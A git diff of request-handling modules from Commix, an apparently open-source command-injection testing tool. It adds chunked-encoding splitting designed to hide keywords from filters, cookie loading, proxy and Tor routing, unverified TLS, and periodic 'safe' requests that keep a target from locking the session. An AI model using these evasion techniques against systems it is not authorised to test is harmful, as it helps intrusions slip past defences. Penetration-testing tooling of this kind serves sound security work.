b/src/core/requests/chunked.py new file mode 100644 index 0000000000..6deaa7c4d8 --- /dev/null +++ b/src/core/requests/chunked.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import random +import string +from src.utils import settings + +""" +Convert POST data to chunked transfer-encoded data. + +The point of the split is that no chunk holds a whole token a filter could match on: the payload +only exists as a whole once the target has put the chunks back together. +""" +def split_post_data(data): + if not data: + return data + + length = len(data) + chunked_data = [] + index = 0 + + while index < length: + chunk_size = random.randint(1, settings.MAX_CHUNK_SIZE) + if index + chunk_size >= length: + chunk_size = length - index + + while chunk_size > 1: + candidate = data[index:index + chunk_size] + # Cutting the chunk shorter moves the boundary inside the keyword, where a filter cannot see it. + if re.search(settings.CHUNKED_SPLIT_KEYWORDS_REGEX, candidate, re.I): + chunk_size -= 1 + else: + break + + candidate = data[index:index + chunk_size] + index += chunk_size + + # The extension is ignored by the target, but it is one more thing an inspecting device must parse. + extension = "".join(random.choice(string.ascii_letters + string.digits) for _ in range(5)) + chunked_data.append(hex(chunk_size)[2:] + ";" + extension + settings.END_LINE.CRLF) + chunked_data.append(candidate + settings.END_LINE.CRLF) + + chunked_data.append("0" + settings.END_LINE.CRLF + settings.END_LINE.CRLF) + + return "".join(chunked_data) + +# eof diff --git a/src/core/requests/cookies.py b/src/core/requests/cookies.py new file mode 100644 index 0000000000..a97b0050db --- /dev/null +++ b/src/core/requests/cookies.py @@ -0,0 +1,181 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import time +from src.core.parse import cmdline as menu +from src.utils import common +from src.utils import settings + +""" +Read a cookies file, the way a browser or a helper tool leaves it behind. +""" +def _read_cookies_file(cookies_file): + try: + with open(cookies_file, encoding=settings.DEFAULT_CODEC, errors="replace") as file: + return file.read() + except IOError as err_msg: + err_msg = "There was a problem reading the cookies file '" + cookies_file + "' (" + str(err_msg) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +Turn the Netscape/wget cookie format into the value of a Cookie HTTP header. Every line holds seven +tab-separated fields, of which the last two are the name and the value that the target asked for. +""" +def _parse_netscape_format(content): + cookies = [] + # The prefix marks a cookie the browser keeps from scripts, which says nothing about sending it. + content = re.sub("(?im)^#httpOnly_", "", content) + for line in content.splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + fields = line.split("\t") + if len(fields) == 7 and fields[5]: + cookies.append(fields[5] + "=" + fields[6]) + return (settings.COOKIE_PARAM_DELIMITER + settings.SINGLE_WHITESPACE).join(cookies) + +""" +Load the cookies of a Netscape/wget file, as given with the '--load-cookies' option. +""" +def load_cookies(): + content = _read_cookies_file(menu.options.load_cookies) + cookie = _parse_netscape_format(content) + if not cookie: + err_msg = "No valid cookies found in the '" + menu.options.load_cookies + "' file." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + info_msg = "Loading cookies from the '" + os.path.split(menu.options.load_cookies)[1] + "' file. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return cookie + +""" +Read the cookies as they stand right now, from the file that something else keeps up to date. A +file that is not there yet is waited for, since whatever writes it may still be logging back in. +""" +def live_cookies(): + cookies_file = menu.options.live_cookies + if not os.path.isfile(cookies_file) or os.path.getsize(cookies_file) == 0: + warn_msg = "The live cookies file '" + cookies_file + "' is empty or does not exist. " + warn_msg += "Waiting up to " + str(settings.LIVE_COOKIES_TIMEOUT) + " seconds for it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + for _ in range(settings.LIVE_COOKIES_TIMEOUT): + if os.path.isfile(cookies_file) and os.path.getsize(cookies_file) != 0: + break + time.sleep(1) + else: + err_msg = "No cookies were provided in the '" + cookies_file + "' file." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + content = _read_cookies_file(cookies_file).strip() + # Either the header as it would be sent, or the tab-separated file a browser exports. + if "\t" in content: + return _parse_netscape_format(content) + return re.sub(r"(?i)\A" + settings.COOKIE + r":\s*", "", content) + +""" +Handle server-set cookies. +""" +def handle_server_cookies(response): + + """ + Mask the middle part of long cookie values to avoid leaking sensitive data in prompts. + """ + def mask_cookie_value(cookie_str): + return re.sub( + r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", + r"\g<1>...\g<2>", + cookie_str + ) + + try: + set_cookie_header = [] + declared_cookies = set(c.split('=')[0].strip() for c in menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER)) if menu.options.cookie else set() + added_cookies = set() + for header, value in response.getheaders(): + if header.lower() == settings.SET_COOKIE.lower(): + first_pair = re.search(r'^\s*([^=;\s]+=[^;]*)', value) + if first_pair: + name_value = first_pair.group(1) + cookie_name = name_value.split("=")[0] + if cookie_name not in declared_cookies and cookie_name not in added_cookies: + set_cookie_header.append(name_value) + added_cookies.add(cookie_name) + + candidate = settings.COOKIE_PARAM_DELIMITER.join(str(value) for value in set_cookie_header) + + if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: + settings.DECLARED_COOKIES = True + if settings.CRAWLED_SKIPPED_URLS_NUM != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if menu.options.cookie: + user_cookies_set = set([c.split('=')[0] for c in menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER)]) + if user_cookies_set: + while True: + message = "You declared some cookie(s), " + message += "but the server is setting additional ones ('" + message += mask_cookie_value(candidate) + message += "'). Do you want to merge them? [Y/n] " + merge_option = common.read_input(message, default="Y", check_batch=True) + if merge_option in settings.CHOICE_YES: + menu.options.cookie += settings.COOKIE_PARAM_DELIMITER + candidate + break + elif merge_option in settings.CHOICE_NO: + break + elif merge_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(merge_option) + pass + else: + menu.options.cookie += settings.COOKIE_PARAM_DELIMITER + candidate + settings.DECLARED_COOKIES = False + else: + while True: + message = "You have not declared any cookie(s), " + message += "but the server wants to set its own ('" + message += mask_cookie_value(candidate) + message += "'). Do you want to use those? [Y/n] " + set_cookies = common.read_input(message, default="Y", check_batch=True) + if set_cookies in settings.CHOICE_YES: + menu.options.cookie = candidate + break + elif set_cookies in settings.CHOICE_NO: + settings.DECLARED_COOKIES = False + break + elif set_cookies in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(set_cookies) + pass + except (AttributeError, KeyError, TypeError): + pass + +""" +Ignoring the Google analytics cookie parameter. +""" +def ignore_google_analytics_cookie(cookie): + if re.search(settings.GOOGLE_ANALYTICS_COOKIE_REGEX, cookie): + # Named by what comes before the first '=', so a value holding one of its own is still a value. + name, separator, _ = cookie.partition("=") + if separator: + info_msg = "Ignoring the Google analytics cookie parameter '" + name + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return True + +# eof diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 208ade5e22..c047093b50 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -3,406 +3,879 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re -import ssl -try: - _create_unverified_https_context = ssl._create_unverified_context -except AttributeError: - # Legacy Python that doesn't verify HTTPS certificates by default - pass -else: - # Handle target environment that doesn't support HTTPS verification - ssl._create_default_https_context = _create_unverified_https_context -import sys - import time -import errno -import base64 +import random +import string try: from base64 import encodebytes -except ImportError: +except ImportError: from base64 import encodestring as encodebytes -import socket from socket import error as SocketError from src.thirdparty.six.moves import http_client as _http_client +from src.utils import har from src.utils import logs -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.controller import checks +from src.core.requests import proxy +from src.core.requests import cookies +from src.core.requests import chunked +from src.core.requests import anticsrf +from src.core.requests import redirection +from src.core.requests import keepalive +from src.core.requests import stability +from src.core.requests import hooks from src.thirdparty.six.moves import urllib as _urllib +""" +The query string, encoded - and shortened by giving characters back where it runs long. + +Only while it is over the limit, and only characters that are legal in a query unencoded, so what +the target reads is unchanged and a query of ordinary length is encoded exactly as it would be. +""" +def encoded_query(query): + # Asked for by '--skip-urlencode': the payload was deliberately left as written, and encoding the + # query it sits in puts back exactly what that option took off. Only what a request cannot carry + # as itself is still encoded - a space, a control character, anything outside ASCII - since that + # is about the request being valid rather than about the payload being recognisable. + if menu.options.skip_urlencode: + return _urllib.parse.quote(query, safe=settings.SKIP_URLENCODE_SAFE_CHARS) + safe = settings.query_safe_chars() + settings.URL_PARAM_DELIMITER + given_back = 0 + while True: + encoded = _urllib.parse.quote(query, safe=safe) + if len(encoded) <= settings.URLENCODE_CHAR_LIMIT or given_back >= len(settings.URLENCODE_FAILSAFE_CHARS): + return encoded + # One at a time, and only ones the query actually contains - handing back a character it does + # not have shortens nothing and widens the set for no reason. + while given_back < len(settings.URLENCODE_FAILSAFE_CHARS): + safe += settings.URLENCODE_FAILSAFE_CHARS[given_back] + given_back += 1 + if safe[-1] in query: + break + +""" +Encoding non-ASCII characters (in URL path and query). +""" +def encode_non_ascii_url(request): + url = request.get_full_url() + parts = _urllib.parse.urlsplit(url) + path = _urllib.parse.quote(parts.path, safe=settings.SAFE_PATH) + # Encode query string, preserving delimiters and the parameter delimiter + query = encoded_query(parts.query) + # Reconstruct the full URL with encoded path and query + request.full_url = _urllib.parse.urlunsplit((parts.scheme, parts.netloc, path, query, parts.fragment)) + + return request + """ Checking the HTTP response content. """ def http_response_content(content): + if type(content) is bytes: + content = content.decode(settings.DEFAULT_CODEC) if settings.VERBOSITY_LEVEL >= 4: content = checks.remove_empty_lines(content) - print(settings.print_http_response_content(content)) + settings.print_data_to_stdout(settings.print_http_response_content(content)) if menu.options.traffic_file: logs.log_traffic(content) - logs.log_traffic("\n\n" + "#" * 77 + "\n\n") + logs.log_traffic(settings.END_LINE.LF * 2 + "#" * 77 + settings.END_LINE.LF * 2) """ Checking the HTTP response headers. """ def http_response(headers, code): - response_http_headers = str(headers).split("\n") + response_http_headers = str(headers).split(settings.END_LINE.LF) for header in response_http_headers: - if len(header) > 1: + if len(header) > 1: if settings.VERBOSITY_LEVEL >= 3: - print(settings.print_traffic(header)) + settings.print_data_to_stdout(settings.print_traffic(header)) if menu.options.traffic_file: - logs.log_traffic("\n" + header) + logs.log_traffic(settings.END_LINE.LF + header) if menu.options.traffic_file: - logs.log_traffic("\n\n") + logs.log_traffic(settings.END_LINE.LF * 2) """ Print HTTP response headers / Body. """ def print_http_response(response_headers, code, page): + try: + if int(code) in settings.ABORT_CODE: + err_msg = "Aborting due to detected HTTP code '" + str(code) + "'. " + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + except (ValueError, TypeError): + warn_msg = "Skipping abort check due to invalid (or missing) HTTP response code '" + str(code) + "'" + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if settings.VERBOSITY_LEVEL >= 3 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 3: + # Blank line separating this response block from the request block printed before it. + settings.print_data_to_stdout("") resp_msg = "HTTP response [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):" - print(settings.print_response_msg(resp_msg)) + settings.print_data_to_stdout(settings.print_response_msg(resp_msg)) if menu.options.traffic_file: resp_msg = "HTTP response [#" + str(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):" - logs.log_traffic("\n" + resp_msg) + logs.log_traffic(settings.END_LINE.LF + resp_msg) http_response(response_headers, code) if settings.VERBOSITY_LEVEL >= 4 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 4: - print(settings.SINGLE_WHITESPACE) + # Blank line separating response headers from the response body below. + settings.print_data_to_stdout("") try: http_response_content(page) except AttributeError: - http_response_content(page.decode(settings.UNICODE_ENCODING)) + http_response_content(page.decode(settings.DEFAULT_CODEC)) + + if settings.VERBOSITY_LEVEL >= 3: + # Blank line closing out this traffic block before whatever's printed next. + settings.print_data_to_stdout("") + +""" +Probe once to read the realm off the target's own WWW-Authenticate challenge. +""" +def discover_digest_realm(url): + try: + _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + except _urllib.error.HTTPError as e: + authline = e.headers.get('www-authenticate', '') + match = re.match(r'''(\w*)\s+realm=(.*)''', authline) + if match: + return match.group(2).split(',')[0].strip().strip('"') + except Exception: + pass + return "" + +""" +A fresh value for a parameter named with '--randomize', shaped like the one it replaces - digits +stay digits and letters keep their case, so a target that validates the format still accepts it. +""" +def random_pool(): + """ + The values the target's own '<select>' menus offer, read once from the page the run started on. + + A parameter that is a menu has an answer the target already accepts: inventing one of the right + shape would be refused by anything that validates the choice. + """ + if not settings.RANDOM_POOL_READ: + settings.RANDOM_POOL_READ = True + for match in re.finditer(r"(?si)<select[^>]+\bname\s*=\s*[\"']?([^\"'\s>]+)[\"']?(.+?)</select>", settings.ORIGINAL_PAGE or ""): + name, body = match.groups() + options = tuple(re.findall(r"(?i)<option[^>]+\bvalue\s*=\s*[\"']?([^\"'\s>]*)", body)) + if options: + settings.RANDOM_POOL[name] = options + if settings.RANDOM_POOL and settings.VERBOSITY_LEVEL >= 2: + debug_msg = "Read the values offered for " + ", ".join("'" + _ + "'" for _ in sorted(settings.RANDOM_POOL)) + " from the target's own page." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return settings.RANDOM_POOL + +def randomized_value(value, name=None): + # A menu is answered with one of its own options, rather than with a value of the same shape. + pool = random_pool().get(name) if name else None + if pool: + candidates = [_ for _ in pool if _ != value] or list(pool) + return random.choice(candidates) + + def _swap(match): + original = match.group() + if original.isdigit(): + pool = string.digits + elif original.isupper(): + pool = string.ascii_uppercase + else: + pool = string.ascii_lowercase + # A replacement this short has too small a pool to last a scan - a session that remembers + # every value it has already seen runs back into one of them within a dozen requests, and + # 'Duplicate' turns into a wall every later request bounces off alike. Padded out to a width + # wide enough that repeated requests do not exhaust it, rather than matching the original's own. + length = max(len(original), 6) + while True: + candidate = "".join(random.choice(pool) for _ in range(length)) + if candidate != original: + return candidate + return re.sub(r"[0-9]+|[A-Z]+|[a-z]+", _swap, value) + +""" +Give every parameter named with '--randomize' a new value, wherever it travels - the query string +of the URL and the body alike. +""" +def randomize_parameters(request): + if not settings.RANDOMIZE_PARAMETERS_LIST: + return request + + def _rewrite(text): + def _pair(match): + name, value = match.group("name").strip(), match.group("value") + if name not in settings.RANDOMIZE_PARAMETERS_LIST: + return match.group() + return match.group().replace(name + "=" + value, name + "=" + randomized_value(value, name), 1) + # Both delimiters, so a cookie's pairs are read the way a query string's are. + return re.sub(r"(?P<name>[^=&;?]+)=(?P<value>[^&;]*)", _pair, text) + + parts = request.full_url.split("?", 1) + # A parameter written into the path is bounded by its own slashes, not by the '&' a query uses. + path = "/".join(_rewrite(segment) for segment in parts[0].split("/")) + request.full_url = path + ("?" + _rewrite(parts[1]) if len(parts) == 2 and parts[1] else "") + if request.data: + body = request.data.decode(settings.DEFAULT_CODEC, errors="replace") + request.data = _rewrite(body).encode(settings.DEFAULT_CODEC) + # The cookie is added further down from the option it was given in, so it is randomized there. + if menu.options.cookie: + menu.options.cookie = _rewrite(menu.options.cookie) + return request + +""" +Count one request, and do what the options ask for every so many of them: change the proxy the run +goes out through, and visit the URL that keeps the session alive. + +The safe request is sent through the same path as any other, so it is counted out here rather than +inside it - a request made to keep the session alive is not one of the requests being paced. +""" +def count_request(): + with settings.REQUESTS_LOCK: + settings.REQUEST_COUNTER += 1 + counter = settings.REQUEST_COUNTER + if settings.in_side_request(): + return + + if menu.options.proxy_freq and counter % menu.options.proxy_freq == 0: + proxy.rotate_proxy() + + if menu.options.safe_freq and counter % menu.options.safe_freq == 0: + send_safe_request() + +""" +Visit the URL that has nothing to do with the test, at the frequency asked for. + +What it is for is the session: a target that logs out, locks an account or expires a token after so +many odd-looking requests sees an ordinary one in between them. +""" +def send_safe_request(): + if settings.in_side_request("safe_request"): + return + settings.set_side_request("safe_request", True) + try: + if settings.SAFE_REQUEST: + safe = settings.SAFE_REQUEST + data = safe["data"].encode(settings.DEFAULT_CODEC) if safe["data"] else None + request = _urllib.request.Request(safe["url"], data, method=safe["method"] or settings.HTTPMETHOD.GET) + for header_name, header_value in safe["headers"]: + request.add_header(header_name, header_value) + else: + data = menu.options.safe_post.encode(settings.DEFAULT_CODEC) if menu.options.safe_post else None + method = settings.HTTPMETHOD.POST if menu.options.safe_post else settings.HTTPMETHOD.GET + request = _urllib.request.Request(menu.options.safe_url, data, method=method) + do_check(request, safe=True) + if settings.VERBOSITY_LEVEL >= 2: + debug_msg = "Visiting the safe URL '" + request.get_full_url() + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + response = check_http_traffic(request) + if response is None: + response = resend(request) + if response is not None and not isinstance(response, bool): + try: + response.close() + except Exception: + pass + except Exception: + # A safe visit that fails is not the run's business: nothing is read from it, and the request + # it was sent between is the one that matters. + pass + finally: + settings.set_side_request("safe_request", False) + +""" +What holds for a request whatever it was sent for: the pacing that was asked for, the count it is +part of, and the proxy rotation and safe visit that go by that count. +""" +def apply_request_policy(): + settings.LAST_HTTP_ERROR = None + # What a redirect said is true of the request it answered and of no other. Set by the handler and + # never cleared, it outlived its own request: the code named in the question put to the user, and + # read by whatever asked later whether a redirect had happened at all, was whichever one the run + # had last been sent anywhere. + settings.REDIRECT_CODE = "" + count_request() + # Delay in seconds between each HTTP request, plus whatever backing off the target has earned - + # and, where '--jitter' was given, a different fraction of a second on top of every one of them. + # Waited for as it was given, a fraction of a second included - rounded down to whole seconds + # here, a pace of less than one was a pace of none at all, and the only way left to ask for a + # fraction was to ask for a random one through '--jitter'. + time.sleep(settings.DELAY + settings.ADAPTIVE_DELAY + (random.uniform(0, menu.options.jitter) if menu.options.jitter else 0)) + +""" +Send a request the caller reads or times itself, rather than through the opener the rest of the run +goes out over - and have it paced and counted like any other request all the same. + +A caller that measures the answer applies the policy first and starts its clock afterwards, so that +what it times is the target rather than the delay this run was told to keep. +""" +def send_raw(request, timeout=None, policy=True): + if policy: + apply_request_policy() + hooks.preprocess(request) + with settings.REQUESTS_LOCK: + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + response = _urllib.request.urlopen(request, timeout=timeout or settings.TIMEOUT) + # Spent from the count the retry budget is measured against, so the budget is grown with it. + with settings.REQUESTS_LOCK: + stability.expand_retry_budget() + return response + +""" +Never let the client frame a body commix has already framed. + +'--chunked' writes the chunks itself, in sizes chosen to cut through what a filter looks for, and +the header that says so is what makes the client offer to do the same - so a body sent through any +path that does not go by the connection class below arrives wrapped in a second layer of framing. +The server unwraps one and hands the other to the application as the body, which then reads the +chunk sizes as though they were the value. +""" +_original_request = _http_client.HTTPConnection.request + +def _request_without_reframing(self, method, url, body=None, headers={}, **kwargs): + if menu.options.chunked: + kwargs["encode_chunked"] = False + return _original_request(self, method, url, body, headers, **kwargs) + +_http_client.HTTPConnection.request = _request_without_reframing """ Checking the HTTP Headers & HTTP/S Request. """ def check_http_traffic(request): - settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 - # Delay in seconds between each HTTP request - time.sleep(int(settings.DELAY)) - if settings.SCHEME == 'https': + apply_request_policy() + if request.type == 'https': http_client = _http_client.HTTPSConnection else: http_client = _http_client.HTTPConnection + if menu.options.http10: + _http_client.HTTPConnection._http_vsn = 10 + _http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0' + class connection(http_client): + # Build the request, letting chunked bodies be framed by hand rather than by the client. + def request(self, method, url, body=None, headers={}, **kwargs): + # The body is framed as chunks already, so the client must not frame it a second time. + if menu.options.chunked: + kwargs["encode_chunked"] = False + return http_client.request(self, method, url, body, headers, **kwargs) + + # Write the request out, printing it first where the traffic is being shown. def send(self, req): - headers = req.decode() - request_http_headers = str(headers).split("\r\n") + # Decode request output safely, replacing non-UTF8 bytes instead of crashing. + headers = req.decode(settings.DEFAULT_CODEC, errors="replace") + # Headers end with a blank line, so the next send() starts the body. + + ends_with_blank_line = headers.endswith(settings.END_LINE.CRLF + settings.END_LINE.CRLF) + request_http_headers = str(headers).split(settings.END_LINE.CRLF) unique_request_http_headers = [] [unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers] - request_http_headers = unique_request_http_headers + request_http_headers = [x for x in unique_request_http_headers if x] for header in request_http_headers: if settings.VERBOSITY_LEVEL >= 2: - print(settings.print_traffic(header)) + settings.print_data_to_stdout(settings.print_traffic(header)) if menu.options.traffic_file: - logs.log_traffic("\n" + header) + logs.log_traffic(settings.END_LINE.LF + header) + if ends_with_blank_line and settings.USER_DEFINED_POST_DATA and settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout("") + elif not ends_with_blank_line and settings.USER_DEFINED_POST_DATA and settings.VERBOSITY_LEVEL == 2: + settings.print_data_to_stdout("") http_client.send(self, req) class connection_handler(_urllib.request.HTTPSHandler, _urllib.request.HTTPHandler, object): + """ + Print HTTP request headers. + """ + def print_http_response(self): + with settings.REQUESTS_LOCK: + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + stability.note_request_sent() + if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: + if settings.VERBOSITY_LEVEL >= 2: + req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" + settings.print_data_to_stdout(settings.print_request_msg(req_msg)) + if menu.options.traffic_file: + req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:" + logs.log_traffic(req_msg) + + """ + Reuse a pooled connection, when enabled. + """ + def do_open(self, http_class, req, **http_conn_args): + if settings.KEEP_ALIVE: + return keepalive.do_open(self, http_class, req, **http_conn_args) + return super(connection_handler, self).do_open(http_class, req, **http_conn_args) + + # Open the connection, and show the response where the traffic is being shown. def http_open(self, req): try: - self.do_open(connection, req) - return super(connection_handler, self).http_open(req) - except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg.args[0]) + "." - error_msg = "Connection to the target URL " + error_msg - except _http_client.InvalidURL as err_msg: - settings.VALID_URL = False - error_msg = err_msg - if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(error_msg)) - if not settings.VALID_URL: - raise SystemExit() - + self.print_http_response() + return self.do_open(connection, req) + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + checks.connection_exceptions(err_msg) + # Open the TLS connection, and show the response where the traffic is being shown. def https_open(self, req): try: - self.do_open(connection, req) - return super(connection_handler, self).https_open(req) - except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg.args[0]) + "." - error_msg = "Connection to the target URL " + error_msg - except _http_client.InvalidURL as err_msg: - settings.VALID_URL = False - error_msg = err_msg - if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(error_msg)) - if not settings.VALID_URL: - raise SystemExit() - - opener = _urllib.request.build_opener(connection_handler()) - if len(settings.HTTP_METHOD) != 0: - request.get_method = lambda: settings.HTTP_METHOD + self.print_http_response() + return self.do_open(connection, req, context=self._context) + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + checks.connection_exceptions(err_msg) + + # Digest needs a handler on the sending opener, unlike Basic/Bearer's static header. + extra_handlers = [] + if menu.options.auth_cred and menu.options.auth_type and menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + if settings.DIGEST_AUTH_REALM is None: + settings.DIGEST_AUTH_REALM = discover_digest_realm(menu.options.url) + digest_handler = _urllib.request.HTTPDigestAuthHandler() + username, _, password = menu.options.auth_cred.partition(":") + digest_handler.add_password(settings.DIGEST_AUTH_REALM, menu.options.url, username, password) + extra_handlers.append(digest_handler) + + + request = encode_non_ascii_url(request) + + # Also route through the configured proxy/Tor, so this fetch is reusable. + if menu.options.ignore_proxy: + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), connection_handler(context=settings.unverified_context()), redirection.RedirectHandler(), *extra_handlers) + elif menu.options.tor and menu.options.tor_type == settings.PROXY_TYPE.HTTP: + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy}), connection_handler(context=settings.unverified_context()), redirection.RedirectHandler(), *extra_handlers) + else: + proxy.apply_to_request(request) + opener = _urllib.request.build_opener(connection_handler(context=settings.unverified_context()), redirection.RedirectHandler(), *extra_handlers) - _ = False - current_attempt = 0 + # Last, so what a script is handed is the request as commix would otherwise have sent it. + hooks.preprocess(request) + + # Time limit mechanism. + if menu.options.time_limit and (time.time() - settings.START_TIME > menu.options.time_limit): + raise SystemExit() + + succeeded = False + response = False unauthorized = False - while not _ and current_attempt <= settings.MAX_RETRIES and unauthorized is False: - if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: - if settings.VERBOSITY_LEVEL >= 2: - req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" - print(settings.print_request_msg(req_msg)) - if menu.options.traffic_file: - req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:" - logs.log_traffic(req_msg) + pending_error = None + started = time.time() + while stability.should_keep_retrying(succeeded, unauthorized): + if any((settings.REVERSE_TCP, settings.BIND_TCP)): + succeeded = True + if settings.MULTI_TARGETS or settings.CRAWLING: + if settings.INIT_TEST is True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: + # A per-parameter auto-detected tamper (e.g. hexencode from check_encoders()) must not + # leak into the next target/form - reset back to only what the user actually gave. + settings.MULTI_ENCODED_PAYLOAD = [] + menu.options.tamper = settings.USER_APPLIED_TAMPER try: response = opener.open(request, timeout=settings.TIMEOUT) - page = checks.page_encoding(response, action="encode") - _ = True + succeeded = True + with settings.REQUESTS_LOCK: + stability.expand_retry_budget() + if (settings.INIT_TEST is True and not settings.UNAUTHORIZED) or \ + (settings.INIT_TEST is True and settings.MULTI_TARGETS): + if not settings.VALID_URL: + stability.mark_url_valid() + if not settings.CHECK_INTERNET: + settings.INIT_TEST = False + + except ValueError: if settings.VERBOSITY_LEVEL < 2: - if current_attempt != 0: - info_msg = "Testing connection to the target URL." - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.INIT_TEST == True and not settings.UNAUTHORIZED: - print(settings.SINGLE_WHITESPACE) - if not settings.CHECK_INTERNET: - settings.INIT_TEST = False - - except _urllib.error.HTTPError as err_msg: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + err_msg = "You provided an invalid target URL." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + except AttributeError: + raise SystemExit(settings.EXIT_FAILURE) + + except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: + # A deliberately unfollowed redirect - retrying won't help. + if not settings.FOLLOW_REDIRECT and getattr(err_msg, "code", None) in (301, 302, 303, 307): + break if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True + with settings.REQUESTS_LOCK: + stability.freeze_retry_budget() + elif isinstance(err_msg, _urllib.error.HTTPError): + # An answer, however unwelcome: the request was spent reaching the target, so the budget it + # is measured against grows with it. A transport failure reached nothing and is no progress + # to grow it on - re-doubled on every one of those, the budget outgrew the attempts made + # against it, and a target that never resolves was retried for as long as it was left to. + with settings.REQUESTS_LOCK: + stability.expand_retry_budget() if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: + pending_error = err_msg + break + # A status the list does not name is still an answer rather than a transport failure, and + # retrying cannot change it. Left to the loop it would never stop: the budget is re-doubled + # on every attempt, so it outgrows the count of attempts made against it. + if isinstance(err_msg, _urllib.error.HTTPError): + pending_error = err_msg break - except (_urllib.error.URLError, _http_client.BadStatusLine) as err_msg: - if current_attempt == 0: - if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg): - print(settings.SINGLE_WHITESPACE) - warn_msg = "The provided target URL seems not reachable. " - warn_msg += "In case that it is, please try to re-run using " - if not menu.options.random_agent: - warn_msg += "'--random-agent' switch and/or " - warn_msg += "'--proxy' option." - print(settings.print_warning_msg(warn_msg)) - info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." - print(settings.print_info_msg(info_msg)) - current_attempt = 